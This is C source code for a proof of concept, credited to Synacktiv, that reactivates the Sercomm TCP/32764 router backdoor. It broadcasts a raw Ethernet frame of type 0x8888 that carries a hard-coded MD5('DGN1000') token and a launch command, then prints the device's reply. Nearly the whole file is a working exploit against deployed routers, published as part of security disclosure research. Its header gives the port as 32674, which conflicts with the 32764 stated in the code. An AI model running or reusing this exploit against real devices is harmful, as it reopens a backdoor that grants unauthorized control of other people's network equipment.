/***************************************
* PoC to reactivate Sercomm TCP/32674 backdoor
* See http://www.synacktiv.com/ressources/TCP32764_backdoor_again.pdf
* Eloi Vanderbeken - Synacktiv
*
* THIS SOFTWARE IS PROVIDED BY SYNACKTIV ''AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL SYNACKTIV BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* PoC based on Wilmer van der Gaast's code
* http://wiki.openwrt.org/_media/toh/netgear/dg834.g.v4/nftp.c
***************************************/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/if_arp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#define ETH_P_NFTP 0x8888
enum
backdoor_command {
PING_BACKDOOR = 0x200,
SCFGMGR_LAUNCH,
SET_IP
};
struct
ether_header
{
unsigned
char
ether_dhost[ETH_ALEN];
unsigned
char
ether_shost[ETH_ALEN];
unsigned
short
ether_type;
} eth;
struct
raw_packet {
struct
ether_header header;
uint16_t type;
uint16_t sequence;
uint16_t offset;
uint16_t chunk;
uint16_t payload_len;
uint8_t payload[528];
};
int
main(
int
argc,
char
*argv[])
{
int
sockfd, res, i, len;
char
src_mac[ETH_ALEN];
struct
ifreq iface;
struct
sockaddr_ll socket_address;
struct
raw_packet packet;
memset
(&packet, 0,
sizeof
(packet));
if
(argc < 2)
{
fprintf
(stderr,
"usage : %s [IFNAME]\n"
, argv[0]);
exit
(1);
}
sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if
(sockfd == -1)
{
if
(geteuid() != 0)
{
fprintf
(stderr,
"You should probably run this program as root.\n"
);
}
perror
(
"socket"
);
exit
(1);
}
seteuid(getuid());
strncpy
(iface.ifr_name, argv[1], IFNAMSIZ);
res = ioctl(sockfd, SIOCGIFHWADDR, &iface);
if
(res < 0)
{
perror
(
"ioctl"
);
exit
(1);
}
memcpy
(src_mac, iface.ifr_hwaddr.sa_data, ETH_ALEN);
res = ioctl(sockfd, SIOCGIFINDEX, &iface);
if
(res < 0)
{
perror
(
"ioctl"
);
exit
(1);
}
// set src mac
memcpy
(packet.header.ether_shost, src_mac, ETH_ALEN);
// broadcast
memset
(packet.header.ether_dhost, 0xFF, ETH_ALEN);
// MD5("DGN1000")
memcpy
(packet.payload,
"\x45\xD1\xBB\x33\x9B\x07\xA6\x61\x8B\x21\x14\xDB\xC0\xD7\x78\x3E"
, 0x10);
packet.payload_len = htole16(0x10);
// ethernet packet type = 0x8888
packet.header.ether_type = htons(ETH_P_NFTP);
// launch TCP/32764 backdoor
packet.type = htole16(SCFGMGR_LAUNCH);
socket_address.sll_family = PF_PACKET;
socket_address.sll_protocol = htons(ETH_P_NFTP);
socket_address.sll_ifindex = iface.ifr_ifindex;
socket_address.sll_hatype = ARPHRD_ETHER;
socket_address.sll_pkttype = PACKET_OTHERHOST;
// broadcast
socket_address.sll_halen = ETH_ALEN;
memset
(socket_address.sll_addr, 0xFF, ETH_ALEN);
res = sendto(sockfd, &packet, 0x10 + 24, 0, (
struct
sockaddr *)&socket_address,
sizeof
(socket_address));
if
(res == -1)
{
perror
(
"sendto"
);
exit
(1);
}
do
{
memset
(&packet, 0,
sizeof
(packet));
res = recvfrom(sockfd, &packet,
sizeof
(packet), 0, NULL, NULL);
if
(res == -1)
{
perror
(
"recvfrom"
);
exit
(1);
}
}
while
(ntohs(packet.header.ether_type) != ETH_P_NFTP);
if
(res <
sizeof
(packet) -
sizeof
(packet.payload))
{
fprintf
(stderr,
"packet is too short: %d bytes\n"
, res);
exit
(1);
}
len = be16toh(packet.payload_len);
// SerComm has a real problem with endianness
printf
(
"received packet: %d bytes (payload len = %d) from "
, res, len);
for
(i = 0; i < ETH_ALEN; i++)
printf
(
"%02X%c"
, packet.header.ether_shost[i], i == ETH_ALEN-1 ?
'\n'
:
':'
);
for
(i = 0; (i < len) && (i <
sizeof
(packet.payload)); i++)
{
printf
(
"%02X "
, packet.payload[i]);
if
((i+1) % 16 == 0)
printf
(
"\n"
);
}
printf
(
"\n"
);
return
0;
}